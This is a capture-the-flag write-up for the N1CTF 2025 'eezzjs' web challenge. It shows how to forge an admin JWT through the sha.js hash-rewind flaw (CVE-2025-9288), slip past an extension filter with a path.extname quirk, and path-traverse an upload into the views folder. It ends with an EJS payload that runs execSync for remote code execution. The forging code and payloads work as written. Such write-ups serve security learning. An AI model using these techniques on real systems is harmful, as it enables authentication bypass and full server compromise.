Note
Forge an admin JWT without the secret by abusing sha.js 2.4.x update() rewind (a payload object with length:-45 cancels header+secret from the hash), bypass a /js/ extension filter with path.extname("x.ejs/.")===".", path-traverse the upload into views/, and render it via ?templ= for EJS SSTI RCE.
eezzjs — sha.js hash-rewind JWT forgery → path.extname bypass → EJS RCE
CTF: N1CTF 2025 · Category: Web (server-side) · Author: GSBP · joint solve with siefr3dus
Challenge overview
An Express app whose file upload is gated behind a JWT auth middleware, with EJS as the view engine. The
only account is admin (random password), and there's no registration — so we must forge an admin
JWT, then turn the upload into RCE.
app.set('view engine', 'ejs');
app.post('/upload', authenticateJWT, uploadFile);
Step 1 — forge the JWT via sha.js hash rewind (CVE-2025-9288)
The custom JWT uses a homemade sha256 over sha.js 2.4.10, and verification passes the parsed
payload object straight into the hash:
const sha256 = (...messages) => {
const hash = sha('sha256');
messages.forEach((m) => hash.update(m)); // m can be an OBJECT, not just a string
return hash.digest('hex');
};
// verify:
const expectedSignatureHex = sha256(...[JSON.stringify(header), payload, secret]);
sha.js ≤ 2.4.11 is vulnerable to CVE-2025-9288: update() doesn't validate its argument type and
trusts the value's .length. Passing an object with a negative length rewinds the internal byte
counter, effectively un-hashing previously absorbed bytes. Since payload comes from the token
(attacker-controlled JSON), we control payload.length.
Count what we need to cancel:
JSON.stringify(header)={"alg":"HS256","typ":"JWT"}→ 27 bytessecret=crypto.randomBytes(9).toString('hex')→ 18 hex chars- total before
secretfinishes = 45
Set payload.length = -45. When verify runs hash.update(JSON.stringify(header)) then
hash.update(payload) then hash.update(secret), the payload's -45 rewind cancels the 27-byte header
and the 18-byte secret, so the digest no longer depends on the (unknown) secret at all. We compute the
same digest offline and ship a fully valid token for {username:'admin'}:
// craft: mirror signJWT but force length:-45 on the body
const body = { username: 'admin', length: -45, iat: now, exp: now + 3600 };
const token = [
toBase64Url(JSON.stringify({ alg:'HS256', typ:'JWT' })),
toBase64Url(JSON.stringify(body)),
sha256(JSON.stringify({ alg:'HS256', typ:'JWT' }), body, /*secret*/ 'anything') // secret rewound away
].join('.');
The signature is independent of secret, so any value works — the token verifies as admin.
Step 2 — bypass the extension filter (path.extname quirk)
Upload blocks anything whose extension matches /js/i, but the string checked differs from the
string written:
var ext = path.extname(filename).toLowerCase();
if (/js/i.test(ext)) return res.status(403).send('Denied filename');
var filepath = path.join(uploadDir, filename); // normalizes the path
Two facts:
path.extname("x.ejs/.")looks at the last path segment after/(.) → returns"."(no "js").path.joinnormalizes, dropping the trailing/..
So filename = "payload.ejs/." passes the filter (ext === ".") but lands on disk as payload.ejs.
Step 3 — path traversal into views/ + EJS SSTI
There's no traversal guard on filename, so prepend ../views/ to drop the EJS file where the renderer
looks. Combine with the extname trick:
filename = ../views/flag.ejs/.
A serveIndex handler renders an attacker-chosen template name from ?templ=:
function serveIndex(req, res) {
var templ = req.query.templ || 'index';
res.render(templ, { filenames: fs.readdirSync(...), path: req.path });
}
Upload an EJS payload that shells out, then trigger it:
<%= global.process.mainModule.require('child_process').execSync('cat /flag').toString() %>
POST /upload (admin JWT) filedata=<base64 of the EJS> filename=../views/flag.ejs/.
GET /?templ=flag.ejs -> renders our template -> RCE -> flag
Takeaways (generalized techniques)
- sha.js < 2.4.12 hash rewind (CVE-2025-9288): if user input reaches
hash.update()as a non-string whose.lengthyou control, a negative length rewinds absorbed bytes and cancels a secret/prefix from the digest — forging MACs/JWTs without the key. Smell: a custom HMAC/sha256(...)that updates with a parsed JSON object rather than a string, plus a pinned oldsha.js. path.extnamevspath.joindisagreement:path.extname("a.ext/.")→".", whilepath.joinnormalizes away the trailing/.. The validated string ≠ the written string → extension-filter bypass.- Upload + traversal into the template/views dir + a render-by-name sink (
res.render(req.query.templ)) = arbitrary EJS SSTI → RCE (<%= process.mainModule.require('child_process').execSync(...) %>). Settingview engineto EJS means you must land an.ejs(the.pug/other-engine trick won't apply).
Sources & references
- Challenge source:
n1ctf2025/web/eezzjs - CVE-2025-9288 (sha.js): https://github.com/advisories/GHSA-95m3-7q98-8xr5